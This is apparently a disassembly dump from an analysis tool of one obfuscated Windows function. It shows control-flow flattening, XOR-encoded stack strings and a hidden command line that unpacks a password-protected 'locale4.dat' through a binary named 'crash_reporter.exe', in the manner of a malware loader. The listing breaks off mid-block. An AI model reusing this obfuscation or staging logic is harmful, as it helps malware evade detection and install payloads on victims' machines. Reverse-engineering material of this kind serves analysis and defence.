Function at 0x18005b7e2
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings

Disassembly:
push rax
pushf
mov eax, 0x4e73adfb
pushf
not eax
add eax, 0xa8d19e13
xor eax, 0xb00ff84d
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xf7727378
xor eax, 0x9c88216f
rol eax, 0x14
popf
cmp eax, 4
jne 0x18005b81f
popf
pop rax
jmp 0x18005bc02
cmp eax, 0
jne 0x18005b82e
popf
pop rax
jmp 0x18005b92d
cmp eax, 3
jne 0x18005b83d
popf
pop rax
jmp 0x18005bb80
cmp eax, 1
jne 0x18005b84c
popf
pop rax
jmp 0x18005b9ec
cmp eax, 0xd
jne 0x18005b85b
popf
pop rax
jmp 0x18005c895
cmp eax, 7
jne 0x18005b86a
popf
pop rax
jmp 0x18005be31
cmp eax, 0xe
jne 0x18005b879
popf
pop rax
jmp 0x18005c9fb
cmp eax, 0xb
jne 0x18005b888
popf
pop rax
jmp 0x18005c690
cmp eax, 0xc
jne 0x18005b897
popf
pop rax
jmp 0x18005c824
cmp eax, 8
jne 0x18005b8a6
popf
pop rax
jmp 0x18005be90
cmp eax, 0x10
jne 0x18005b8b5
popf
pop rax
jmp 0x18005cd87
cmp eax, 2
jne 0x18005b8c4
popf
pop rax
jmp 0x18005baca
cmp eax, 9
jne 0x18005b8d3
popf
pop rax
jmp 0x18005bf57
cmp eax, 0x12
jne 0x18005b8e2
popf
pop rax
jmp 0x18005ce70
cmp eax, 6
jne 0x18005b8f1
popf
pop rax
jmp 0x18005bd14
cmp eax, 0x11
jne 0x18005b900
popf
pop rax
jmp 0x18005ce36
cmp eax, 5
jne 0x18005b90f
popf
pop rax
jmp 0x18005bc7f
cmp eax, 0xf
jne 0x18005b91e
popf
pop rax
jmp 0x18005cd15
cmp eax, 0xa
jne 0x18005b92d
popf
pop rax
jmp 0x18005c388
mov rax, rsp
push rbp
lea rbp, [rax - 0x3b8]
sub rsp, 0x4b0
mov qword [rbp + 0xc0], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
lea rcx, [rbp + 0x290]
call fcn.180072504
mov rdx, rax
lea rcx, [rbp + 0x170]
mov eax, 0xc2919951
pushf
not eax
add eax, 0x8e7e27d1
xor eax, 0xd23127a0
rol eax, 0x98
popf
pushf
not eax
add eax, 0x92fe1c7d
xor eax, 0xbb80b851
rol eax, 0x14
popf
pushf
not eax
add eax, 0xf45ffc6b
xor eax, 0x9c28974d
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x8599a467
xor eax, 0xc68e2fe6
rol eax, 0x77
popf
push rax
pushf
mov eax, 0x216baaa0
pushf
not eax
add eax, 0x97e53a96
xor eax, 0xf01fa915
rol eax, 0x53
popf
pushf
not eax
add eax, 0xc51d3869
xor eax, 0x8c190537
rol eax, 0xa7
popf
jmp 0x18005b810
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rdx, [rdx + 0x80]
sub rax, 1
jne 0x18005ba71
push rax
pushf
mov eax, 0x51883f47
pushf
not eax
add eax, 0xdcbfe205
xor eax, 0xfb119b6e
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xc431d269
xor eax, 0x89c3cde1
rol eax, 0x1b
popf
jmp 0x18005b810
push rax
pushf
mov eax, 0x8543a56
pushf
not eax
add eax, 0xaf90adcf
xor eax, 0x987a13c4
rol eax, 0x25
popf
pushf
not eax
add eax, 0x8f5ff382
xor eax, 0xb67689d7
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xb0e6b5a1
xor eax, 0xeb3b6ddc
rol eax, 0xed
popf
pushf
not eax
add eax, 0xce732798
xor eax, 0xa1e22ad9
rol eax, 0x2a
popf
jmp 0x18005b810
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
mov rax, qword [rdx + 0x10]
mov qword [rcx + 0x10], rax
mov eax, dword [rdx + 0x18]
mov dword [rcx + 0x18], eax
mov rax, qword [rbp + 0x170]
shr rax, 0x20
mov ecx, dword [rbp + 0x178]
cmp eax, 6
jne 0x18005bb4d
push rax
pushf
mov eax, 0x8004d89b
pushf
not eax
add eax, 0xb0330057
xor eax, 0xf292294f
rol eax, 0x33
popf
pushf
not eax
add eax, 0xd0fef685
xor eax, 0xdaf1a2ce
rol eax, 0x6e
popf
pushf
not eax
add eax, 0x88b6a37c
xor eax, 0xc6f03056
rol eax, 0x7f
popf
pushf
not eax
add eax, 0x8f569f2d
xor eax, 0xefe085c9
rol eax, 0x23
popf
jmp 0x18005b810
push rax
pushf
mov eax, 0xef37a54d
pushf
not eax
add eax, 0x9c9c790e
xor eax, 0xd7fa6389
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xa02b312e
xor eax, 0xefd1b68f
rol eax, 0xd
popf
jmp 0x18005b810
cmp ecx, 1
je 0x18005bbbc
push rax
pushf
mov eax, 0x9e30eba4
pushf
not eax
add eax, 0xee035c08
xor eax, 0xda91aab4
rol eax, 0x83
popf
pushf
not eax
add eax, 0x8988f467
xor eax, 0xdd6a1daa
rol eax, 9
popf
jmp 0x18005b810
push rax
pushf
mov eax, 0x98f62140
pushf
not eax
add eax, 0xe4996737
xor eax, 0xd2e5d96c
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xb39ac1a1
xor eax, 0xd330c160
rol eax, 0x94
popf
pushf
not eax
add eax, 0xf4525901
xor eax, 0x88ddc597
rol eax, 0xb1
popf
jmp 0x18005b810
cmp eax, eax
jne 0x18005bc4c
push rax
pushf
mov eax, 0x46cdd2e2
pushf
not eax
add eax, 0xebb070f6
xor eax, 0xf48b1783
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xeee0dc38
xor eax, 0xe1d48922
rol eax, 0x84
popf
pushf
not eax
add eax, 0x9607822c
xor eax, 0xf47e56cc
rol eax, 0x2f
popf
jmp 0x18005b810
push rax
pushf
mov eax, 0x418816ba
pushf
not eax
add eax, 0xf1dd1179
xor eax, 0xb134da0b
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xd4c268c5
xor eax, 0xa8be53a4
rol eax, 0x5a
popf
jmp 0x18005b810
cmp ecx, 3
je 0x18005bcbb
push rax
pushf
mov eax, 0xc8812641
pushf
not eax
add eax, 0x8699ae2a
xor eax, 0xfcd4f5ca
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xc2b2fb14
xor eax, 0xfb90d0e7
rol eax, 0x18
popf
jmp 0x18005b810
push rax
pushf
mov eax, 0xfe1abfec
pushf
not eax
add eax, 0xcd6eb346
xor eax, 0x960c176c
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xa1769841
xor eax, 0xfa5a558d
rol eax, 0x28
popf
pushf
not eax
add eax, 0xad8ab63b
xor eax, 0x971bdcaf
rol eax, 5
popf
pushf
not eax
add eax, 0xd31fb1cc
xor eax, 0xd5e6c0a1
rol eax, 0x2e
popf
jmp 0x18005b810
mov dword [rbp + 0x58], 0x50
mov byte [rbp + 0x5c], 0xec
mov byte [rbp + 0x5d], 0x83
mov byte [rbp + 0x5e], 0x84
mov byte [rbp + 0x5f], 0x88
mov byte [rbp + 0x60], 0x94
mov byte [rbp + 0x61], 0x8a
mov byte [rbp + 0x62], 0xea
mov byte [rbp + 0x63], 0x9b
mov byte [rbp + 0x64], 0xe1
mov byte [rbp + 0x65], 0xf3
mov byte [rbp + 0x66], 0xeb
mov byte [rbp + 0x67], 0xf4
xor eax, eax
mov byte [rbp + 0x68], al
movzx eax, byte [rbp + 0x5c]
lea rcx, [rbp + 0x58]
call fcn.18004e562
mov rdx, rax
lea rcx, [rbp + 0x128]
call fcn.180060e9c
mov rbx, rax
mov qword [rbp + 0x3c8], rax
cmp dword [0x180022c38], 0
je 0x18005bdd8
push rax
pushf
mov eax, 0x73873721
pushf
not eax
add eax, 0xafbaa891
xor eax, 0x9994642a
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xc3cbc43a
xor eax, 0xccc41c5d
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x84185647
xor eax, 0xa379b4c4
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xd337f46f
xor eax, 0xdd8ba965
rol eax, 0x7c
popf
jmp 0x18005b810
push rax
pushf
mov eax, 0x45453b6f
pushf
not eax
add eax, 0xf653cf5f
xor eax, 0xc448884e
rol eax, 0x79
popf
pushf
not eax
add eax, 0xdf7cd9f4
xor eax, 0xf78869a7
rol eax, 7
popf
pushf
not eax
add eax, 0xe8ab98f1
xor eax, 0xe2768fbd
rol eax, 0x43
popf
pushf
not eax
add eax, 0xb07080cc
xor eax, 0xe0f85c9e
rol eax, 0x60
popf
jmp 0x18005b810
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800480aa
mov rcx, rax
lea rdx, [0x1febe8713]
pushf
sub rdx, 0x7ebd68a3
popf
jmp 0x18005be56
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
push rax
pushf
mov eax, 0xb5c18cad
pushf
not eax
add eax, 0xd8d7e92f
xor eax, 0xb5ecd78c
rol eax, 0x28
popf
pushf
not eax
add eax, 0xe8a43a77
xor eax, 0xee112ce0
rol eax, 0x70
popf
jmp 0x18005b810
mov rcx, rbx
call fcn.180052949
nop
mov dword [rbp + 0x34], 0xf
mov byte [rbp + 0x38], 0x41
mov byte [rbp + 0x39], 0x66
mov byte [rbp + 0x3a], 0x6b
mov byte [rbp + 0x3b], 0x67
mov byte [rbp + 0x3c], 0x60
mov byte [rbp + 0x3d], 0x68
mov byte [rbp + 0x3e], 0x68
xor eax, eax
mov byte [rbp + 0x3f], al
movzx eax, byte [rbp + 0x38]
lea rcx, [rbp + 0x34]
call fcn.18002ccf3
mov rcx, rax
call fcn.18005b2c8
test al, al
jne 0x18005bf11
push rax
pushf
mov eax, 0xe5b9da01
pushf
not eax
add eax, 0x87ba1260
xor eax, 0xa418b920
rol eax, 0xf2
popf
pushf
not eax
add eax, 0x87cffd97
xor eax, 0x81d6c534
rol eax, 0x93
popf
jmp 0x18005b810
push rax
pushf
mov eax, 0x9c40a78b
pushf
not eax
add eax, 0xa2110bba
xor eax, 0xac8855b3
rol eax, 0x13
popf
pushf
not eax
add eax, 0x8935fd77
xor eax, 0xca505ab9
rol eax, 0x61
popf
pushf
not eax
add eax, 0xf619ac73
xor eax, 0x89e73c5a
rol eax, 0xb4
popf
jmp 0x18005b810
mov byte [rbp - 0x40], 0x77
mov byte [rbp - 0x3f], 0x67
mov byte [rbp - 0x3e], 0x24
mov byte [rbp - 0x3d], 0x67
mov byte [rbp - 0x3c], 0x76
mov byte [rbp - 0x3b], 0x69
mov byte [rbp - 0x3a], 0x65
mov byte [rbp - 0x39], 0x78
mov byte [rbp - 0x38], 0x69
mov byte [rbp - 0x37], 0x24
mov byte [rbp - 0x36], 0x52
mov byte [rbp - 0x35], 0x6d
mov byte [rbp - 0x34], 0x68
mov byte [rbp - 0x33], 0x6c
mov byte [rbp - 0x32], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x31], 0x6b
mov byte [rbp - 0x30], 0x6b
mov byte [rbp - 0x2f], 0x24
mov byte [rbp - 0x2e], 0x68
mov byte [rbp - 0x2d], 0x6d
mov byte [rbp - 0x2c], 0x77
mov byte [rbp - 0x2b], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x2a], WSAStartup
mov byte [rbp - 0x29], 0x65
mov byte [rbp - 0x28], 0x7d
mov byte [rbp - 0x27], WSAStartup
mov byte [rbp - 0x26], 0x65
mov byte [rbp - 0x25], WSAStartup
mov byte [rbp - 0x24], 0x69
mov byte [rbp - 0x23], 0x41
mov byte [rbp - 0x22], 0x24
mov byte [rbp - 0x21], 0x52
mov byte [rbp - 0x20], 0x6d
mov byte [rbp - 0x1f], 0x68
mov byte [rbp - 0x1e], 0x6c
mov byte [rbp - 0x1d], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x1c], 0x6b
mov byte [rbp - 0x1b], 0x6b
mov byte [rbp - 0x1a], 0x24
mov byte [rbp - 0x19], 0x66
mov byte [rbp - 0x18], 0x6d
mov byte [rbp - 0x17], WSAStartup
mov byte [rbp - 0x16], 0x54
mov byte [rbp - 0x15], 0x65
mov byte [rbp - 0x14], 0x78
mov byte [rbp - 0x13], 0x6c
mov byte [rbp - 0x12], 0x41
mov byte [rbp - 0x11], 0x24
mov byte [rbp - 0x10], 0x26
mov byte [rbp - 0xf], 0x47
mov byte [rbp - 0xe], 0x3e
mov byte [rbp - 0xd], 0x60
mov byte [rbp - 0xc], 0x54
mov byte [rbp - 0xb], 0x76
mov byte [rbp - 0xa], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 9], 0x6b
mov byte [rbp - 8], 0x76
mov byte [rbp - 7], 0x65
mov byte [rbp - 6], WSAStartup
mov byte [rbp - 5], 0x24
mov byte [rbp - 4], 0x4a
mov byte [rbp - 3], 0x6d
mov byte [rbp - 2], WSAStartup
mov byte [rbp - 1], 0x69
mov byte [rbp], 0x77
mov byte [rbp + 1], 0x24
mov byte [rbp + 2], 0x2c
mov byte [rbp + 3], 0x7c
mov byte [rbp + 4], 0x3c
mov byte [rbp + 5], 0x3a
mov byte [rbp + 6], 0x2d
mov byte [rbp + 7], 0x60
mov byte [rbp + 8], 0x5b
mov byte [rbp + 9], 0x69
mov byte [rbp + 0xa], 0x6b
mov byte [rbp + 0xb], 0x65
mov byte [rbp + 0xc], WSAStartup
mov byte [rbp + 0xd], 0x69
mov byte [rbp + 0xe], 0x60
mov byte [rbp + 0xf], 0x67
mov byte [rbp + 0x10], 0x79
mov byte [rbp + 0x11], 0x76
mov byte [rbp + 0x12], WSAStartup
mov byte [rbp + 0x13], 0x32
mov byte [rbp + 0x14], 0x68
mov byte [rbp + 0x15], WSAStartup
mov byte [rbp + 0x16], WSAStartup
mov byte [rbp + 0x17], 0x26
mov byte [rbp + 0x18], 0x24
mov byte [rbp + 0x19], 0x78
mov byte [rbp + 0x1a], 0x7d
mov byte [rbp + 0x1b], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x1c], 0x69
mov byte [rbp + 0x1d], 0x41
mov byte [rbp + 0x1e], 0x24
mov byte [rbp + 0x1f], 0x6f
mov byte [rbp + 0x20], 0x69
mov byte [rbp + 0x21], 0x76
mov byte [rbp + 0x22], WSAStartup
mov byte [rbp + 0x23], 0x69
mov byte [rbp + 0x24], WSAStartup
mov byte [rbp + 0x25], 0x24
mov byte [rbp + 0x26], 0x77
mov byte [rbp + 0x27], 0x78
mov byte [rbp + 0x28], 0x65
mov byte [rbp + 0x29], 0x76
mov byte [rbp + 0x2a], 0x78
mov byte [rbp + 0x2b], 0x41
mov byte [rbp + 0x2c], 0x24
mov byte [rbp + 0x2d], 0x65
mov byte [rbp + 0x2e], 0x79
mov byte [rbp + 0x2f], 0x78
mov byte [rbp + 0x30], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x31], al
movzx eax, byte [rbp - 0x40]
lea rcx, [rbp - 0x40]
call fcn.180065f9a
mov rcx, rax
call fcn.18002f9f8
mov dword [rbp - 0x80], 0x40
mov eax, dword [rbp - 0x80]
xor eax, 0x43
mov byte [rbp - 0x7c], al
mov eax, dword [rbp - 0x80]
inc al
xor eax, 0x3a
mov byte [rbp - 0x7b], al
mov eax, dword [rbp - 0x80]
add al, 2
xor eax, 0x5c
mov byte [rbp - 0x7a], al
mov eax, dword [rbp - 0x80]
add al, 3
xor eax, 0x50
mov byte [rbp - 0x79], al
mov eax, dword [rbp - 0x80]
add al, 4
xor eax, 0x72
mov byte [rbp - 0x78], al
mov eax, dword [rbp - 0x80]
add al, 5
xor eax, 0x6f
mov byte [rbp - 0x77], al
mov eax, dword [rbp - 0x80]
add al, 6
xor eax, 0x67
mov byte [rbp - 0x76], al
mov eax, dword [rbp - 0x80]
add al, 7
xor eax, 0x72
mov byte [rbp - 0x75], al
mov eax, dword [rbp - 0x80]
add al, 8
xor eax, 0x61
mov byte [rbp - 0x74], al
mov eax, dword [rbp - 0x80]
add al, 9
xor eax, 0x6d
mov byte [rbp - 0x73], al
mov eax, dword [rbp - 0x80]
add al, 0xa
xor eax, 0x20
mov byte [rbp - 0x72], al
mov eax, dword [rbp - 0x80]
add al, 0xb
xor eax, 0x46
mov byte [rbp - 0x71], al
mov eax, dword [rbp - 0x80]
add al, 0xc
xor eax, 0x69
mov byte [rbp - 0x70], al
mov eax, dword [rbp - 0x80]
add al, 0xd
xor eax, 0x6c
mov byte [rbp - 0x6f], al
mov eax, dword [rbp - 0x80]
add al, 0xe
xor eax, 0x65
mov byte [rbp - 0x6e], al
mov eax, dword [rbp - 0x80]
add al, 0xf
xor eax, 0x73
mov byte [rbp - 0x6d], al
mov eax, dword [rbp - 0x80]
add al, 0x10
xor eax, 0x20
mov byte [rbp - 0x6c], al
mov eax, dword [rbp - 0x80]
add al, 0x11
xor eax, 0x28
mov byte [rbp - 0x6b], al
mov eax, dword [rbp - 0x80]
add al, 0x12
xor eax, 0x78
mov byte [rbp - 0x6a], al
mov eax, dword [rbp - 0x80]
add al, 0x13
xor eax, 0x38
mov byte [rbp - 0x69], al
mov eax, dword [rbp - 0x80]
add al, 0x14
xor eax, 0x36
mov byte [rbp - 0x68], al
mov eax, dword [rbp - 0x80]
add al, 0x15
xor eax, 0x29
mov byte [rbp - 0x67], al
mov eax, dword [rbp - 0x80]
add al, 0x16
xor eax, 0x5c
mov byte [rbp - 0x66], al
mov eax, dword [rbp - 0x80]
add al, 0x17
xor eax, 0x57
mov byte [rbp - 0x65], al
mov eax, dword [rbp - 0x80]
add al, 0x18
xor eax, 0x65
mov byte [rbp - 0x64], al
mov eax, dword [rbp - 0x80]
add al, 0x19
xor eax, 0x67
mov byte [rbp - 0x63], al
mov eax, dword [rbp - 0x80]
add al, 0x1a
xor eax, 0x61
mov byte [rbp - 0x62], al
mov eax, dword [rbp - 0x80]
add al, 0x1b
xor eax, 0x6d
mov byte [rbp - 0x61], al
mov eax, dword [rbp - 0x80]
add al, 0x1c
xor eax, 0x65
mov byte [rbp - 0x60], al
mov eax, dword [rbp - 0x80]
add al, 0x1d
xor eax, 0x5c
mov byte [rbp - 0x5f], al
mov eax, dword [rbp - 0x80]
add al, 0x1e
xor eax, 0x63
mov byte [rbp - 0x5e], al
mov eax, dword [rbp - 0x80]
add al, 0x1f
xor eax, 0x75
mov byte [rbp - 0x5d], al
mov eax, dword [rbp - 0x80]
add al, 0x20
xor eax, 0x72
mov byte [rbp - 0x5c], al
mov eax, dword [rbp - 0x80]
add al, 0x21
xor eax, 0x6c
mov byte [rbp - 0x5b], al
mov eax, dword [rbp - 0x80]
add al, 0x22
xor eax, 0x2e
mov byte [rbp - 0x5a], al
mov eax, dword [rbp - 0x80]
add al, 0x23
xor eax, 0x64
mov byte [rbp - 0x59], al
mov eax, dword [rbp - 0x80]
add al, 0x24
xor eax, 0x6c
mov byte [rbp - 0x58], al
mov eax, dword [rbp - 0x80]
add al, 0x25
xor eax, 0x6c
mov byte [rbp - 0x57], al
xor eax, eax
mov byte [rbp - 0x56], al
movzx eax, byte [rbp - 0x7c]
lea rcx, [rbp - 0x80]
call fcn.18005901c
mov rdx, rax
lea rcx, [rbp + 0xc8]
call fcn.180060e9c
nop
lea rcx, [rbp + 0xc8]
call fcn.180065d71
test al, al
sete bl
lea rcx, [rbp + 0xc8]
call fcn.180052949
nop
test bl, bl
je 0x18005c355
push rax
pushf
mov eax, 0xc708340f
pushf
not eax
add eax, 0xc55f49cf
xor eax, 0x8e25bb10
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xd73b9888
xor eax, 0xd0108590
rol eax, 0xd6
popf
jmp 0x18005b810
push rax
pushf
mov eax, 0xf22b1b10
pushf
not eax
add eax, 0x90812765
xor eax, 0x9209ec51
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xfe178c89
xor eax, 0xf4176426
rol eax, 0x68
popf
jmp 0x18005b810
mov dword [rsp + 0x40], 0x33
mov eax, dword [rsp + 0x40]
xor eax, 0x63
mov byte [rsp + 0x44], al
mov eax, dword [rsp + 0x40]
inc al
xor eax, 0x72
mov byte [rsp + 0x45], al
mov eax, dword [rsp + 0x40]
add al, 2
xor eax, 0x61
mov byte [rsp + 0x46], al
mov eax, dword [rsp + 0x40]
add al, 3
xor eax, 0x73
mov byte [rsp + 0x47], al
mov eax, dword [rsp + 0x40]
add al, 4
xor eax, 0x68
mov byte [rsp + 0x48], al
mov eax, dword [rsp + 0x40]
add al, 5
xor eax, 0x5f
mov byte [rsp + 0x49], al
mov eax, dword [rsp + 0x40]
add al, 6
xor eax, 0x72
mov byte [rsp + 0x4a], al
mov eax, dword [rsp + 0x40]
add al, 7
xor eax, 0x65
mov byte [rsp + 0x4b], al
mov eax, dword [rsp + 0x40]
add al, 8
xor eax, 0x70
mov byte [rsp + 0x4c], al
mov eax, dword [rsp + 0x40]
add al, 9
xor eax, 0x6f
mov byte [rsp + 0x4d], al
mov eax, dword [rsp + 0x40]
add al, 0xa
xor eax, 0x72
mov byte [rsp + 0x4e], al
mov eax, dword [rsp + 0x40]
add al, 0xb
xor eax, 0x74
mov byte [rsp + 0x4f], al
mov eax, dword [rsp + 0x40]
add al, 0xc
xor eax, 0x65
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x40]
add al, 0xd
xor eax, 0x72
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x40]
add al, 0xe
xor eax, 0x2e
mov byte [rsp + 0x52], al
mov eax, dword [rsp + 0x40]
add al, 0xf
xor eax, 0x65
mov byte [rsp + 0x53], al
mov eax, dword [rsp + 0x40]
add al, 0x10
xor eax, 0x78
mov byte [rsp + 0x54], al
mov eax, dword [rsp + 0x40]
add al, 0x11
xor eax, 0x65
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x40]
add al, 0x12
xor eax, 0x20
mov byte [rsp + 0x56], al
mov eax, dword [rsp + 0x40]
add al, 0x13
xor eax, 0x78
mov byte [rsp + 0x57], al
mov eax, dword [rsp + 0x40]
add al, 0x14
xor eax, 0x20
mov byte [rsp + 0x58], al
mov eax, dword [rsp + 0x40]
add al, 0x15
xor eax, 0x2d
mov byte [rsp + 0x59], al
mov eax, dword [rsp + 0x40]
add al, 0x16
xor eax, 0x79
mov byte [rsp + 0x5a], al
mov eax, dword [rsp + 0x40]
add al, 0x17
xor eax, 0x20
mov byte [rsp + 0x5b], al
mov eax, dword [rsp + 0x40]
add al, 0x18
xor eax, 0x6c
mov byte [rsp + 0x5c], al
mov eax, dword [rsp + 0x40]
add al, 0x19
xor eax, 0x6f
mov byte [rsp + 0x5d], al
mov eax, dword [rsp + 0x40]
add al, 0x1a
xor eax, 0x63
mov byte [rsp + 0x5e], al
mov eax, dword [rsp + 0x40]
add al, 0x1b
xor eax, 0x61
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x40]
add al, 0x1c
xor eax, 0x6c
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x40]
add al, 0x1d
xor eax, 0x65
mov byte [rsp + 0x61], al
mov eax, dword [rsp + 0x40]
add al, 0x1e
xor eax, 0x34
mov byte [rsp + 0x62], al
mov eax, dword [rsp + 0x40]
add al, 0x1f
xor eax, 0x2e
mov byte [rsp + 0x63], al
mov eax, dword [rsp + 0x40]
add al, 0x20
xor eax, 0x64
mov byte [rsp + 0x64], al
mov eax, dword [rsp + 0x40]
add al, 0x21
xor eax, 0x61
mov byte [rsp + 0x65], al
mov eax, dword [rsp + 0x40]
add al, 0x22
xor eax, 0x74
mov byte [rsp + 0x66], al
mov eax, dword [rsp + 0x40]
add al, 0x23
xor eax, 0x20
mov byte [rsp + 0x67], al
mov eax, dword [rsp + 0x40]
add al, 0x24
xor eax, 0x2d
mov byte [rsp + 0x68], al
mov eax, dword [rsp + 0x40]
add al, 0x25
xor eax, 0x70
mov byte [rsp + 0x69], al
mov eax, dword [rsp + 0x40]
add al, 0x26
xor eax, 0x64
mov byte [rsp + 0x6a], al
mov eax, dword [rsp + 0x40]
add al, 0x27
xor eax, 0x6f
mov byte [rsp + 0x6b], al
mov eax, dword [rsp + 0x40]
add al, 0x28
xor eax, 0x38
mov byte [rsp + 0x6c], al
mov eax, dword [rsp + 0x40]
add al, 0x29
xor eax, 0x63
mov byte [rsp + 0x6d], al
mov eax, dword [rsp + 0x40]
add al, 0x2a
xor eax, 0x64
mov byte [rsp + 0x6e], al
mov eax, dword [rsp + 0x40]
add al, 0x2b
xor eax, 0x61
mov byte [rsp + 0x6f], al
mov eax, dword [rsp + 0x40]
add al, 0x2c
xor eax, 0x73
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x40]
add al, 0x2d
xor eax, 0x64
mov byte [rsp + 0x71], al
mov eax, dword [rsp + 0x40]
add al, 0x2e
xor eax, 0x74
mov byte [rsp + 0x72], al
mov eax, dword [rsp + 0x40]
add al, 0x2f
xor eax, 0x6f
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x40]
add al, 0x30
xor eax, 0x38
mov byte [rsp + 0x74], al
mov eax, dword [rsp + 0x40]
add al, 0x31
xor eax, 0x31
mov byte [rsp + 0x75], al
mov eax, dword [rsp + 0x40]
add al, 0x32
xor eax, 0x33
mov byte [rsp + 0x76], al
mov eax, dword [rsp + 0x40]
add al, 0x33
xor eax, 0x79
mov byte [rsp + 0x77], al
mov eax, dword [rsp + 0x40]
add al, 0x34
xor eax, 0x37
mov byte [rsp + 0x78], al
mov eax, dword [rsp + 0x40]
add al, 0x35
xor eax, 0x65
mov byte [rsp + 0x79], al
mov eax, dword [rsp + 0x40]
add al, 0x36
xor eax, 0x32
mov byte [rsp + 0x7a], al
mov eax, dword [rsp + 0x40]
add al, 0x37
xor eax, 0x31
mov byte [rsp + 0x7b], al
mov eax, dword [rsp + 0x40]
add al, 0x38
xor eax, 0x65
mov byte [rsp + 0x7c], al
xor eax, eax
mov byte [rsp + 0x7d], al
movzx eax, byte [rsp + 0x44]
lea rcx, [rsp + 0x40]
call fcn.180048b2a
mov rcx, rax
call fcn.18002f9f8
mov dword [rbp + 0x40], 0xe
mov byte [rbp + 0x44], 0x7d
mov byte [rbp + 0x45], 0x6d
mov byte [rbp + 0x46], 0x2e
mov byte [rbp + 0x47], 0x7d
mov byte [rbp + 0x48], 0x7a
mov byte [rbp + 0x49], 0x6f
mov byte [rbp + 0x4a], 0x7c
mov byte [rbp + 0x4b], 0x7a
mov byte [rbp + 0x4c], 0x2e
mov byte [rbp + 0x4d], 0x40
mov byte [rbp + 0x4e], 0x67
mov byte [rbp + 0x4f], 0x6a
mov byte [rbp + 0x50], 0x66
mov byte [rbp + 0x51], 0x61
mov byte [rbp + 0x52], 0x69
mov byte [rbp + 0x53], 0x69
xor eax, eax
mov byte [rbp + 0x54], al
movzx eax, byte [rbp + 0x44]
lea rcx, [rbp + 0x40]
call fcn.18005d198
mov rcx, rax
call fcn.18002f9f8
xor edi, edi
mov ebx, edi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x17b9c9a7
pushf
not edx
add edx, 0xc334fea4
xor edx, 0xe2e8fe1d
rol edx, 0xb1
popf
pushf
not edx
add edx, 0x803bd162
xor edx, 0xa346aedf
rol edx, 0xa2
popf
pushf
not edx
add edx, 0xddc8b031
xor edx, 0xc31e45b9
rol edx, 0xb1
popf
pushf
not edx
add edx, 0xe45d24dc
xor edx, 0x91182d33
rol edx, 0xe6
popf
lea rcx, [0x1d53f7628]
pushf
sub rcx, 0x553dc840
popf
jmp 0x18005c778
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
jne 0x18005c7dd
push rax
pushf
mov eax, 0x9dc5fa2d
pushf
not eax
add eax, 0xb24a9ae0
xor eax, 0xf594d103
rol eax, 0x23
popf
pushf
not eax
add eax, 0xeaf99254
xor eax, 0xc9bb285c
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xab279321
xor eax, 0xcc1b6a08
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xcf9552f4
xor eax, 0xf9a9594c
rol eax, 0x5a
popf
jmp 0x18005b810
push rax
pushf
mov eax, 0xd2d4ddb
pushf
not eax
add eax, 0x81760f47
xor eax, 0xbc16db4f
rol eax, 0x32
popf
pushf
not eax
add eax, 0xc75efe05
xor eax, 0xf64f1342
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xdbb75003
xor eax, 0xe6732987
rol eax, 0x42
popf
jmp 0x18005b810
inc ebx
cmp ebx, 5
je 0x18005c862
push rax
pushf
mov eax, 0xf3a8517a
pushf
not eax
add eax, 0xe2e6a40b
xor eax, 0xe6fb7b5b
rol eax, 0x35
popf
pushf
not eax
add eax, 0xfc1317c6
xor eax, 0xc2b1b720
